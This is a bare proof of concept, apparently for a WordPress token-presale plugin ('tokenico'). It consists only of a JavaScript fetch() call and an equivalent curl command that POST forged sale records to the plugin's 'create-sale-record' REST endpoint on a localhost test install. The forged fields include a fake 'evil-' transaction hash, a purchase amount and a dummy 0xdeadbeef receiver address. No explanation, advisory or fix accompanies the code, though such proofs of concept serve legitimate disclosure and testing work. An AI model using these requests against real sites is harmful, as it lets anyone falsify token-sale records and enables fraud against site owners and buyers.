fetch('http://localhost/wordpress/wp-json/tokenico/create-sale-record', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({
    networkId: "137",
    presaleKey: "TESTKEY1234",
    createdAt: String(Date.now()),
    tokenAmount: "1000",
    nativeCurrency: "MATIC",
    purchaseAmount: "777",
    transactionHash: "evil-" + Date.now(),
    transactionUrl: "https://example.org/tx/" + Date.now(),
    receiverAddress: "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef",
    receiverAddressUrl: "https://example.org/address/0xdead"
  })
}).then(r => r.text()).then(console.log);

curl -s -X POST 'http://localhost/wordpress/wp-json/tokenico/create-sale-record' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'networkId=137&presaleKey=TESTKEY1234&createdAt=1724246400000&tokenAmount=1000&nativeCurrency=MATIC&purchaseAmount=777&transactionHash=evil-1724246400000&transactionUrl=https://example.org/tx/evil-1724246400000&receiverAddress=0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef&receiverAddressUrl=https://example.org/address/0xdead'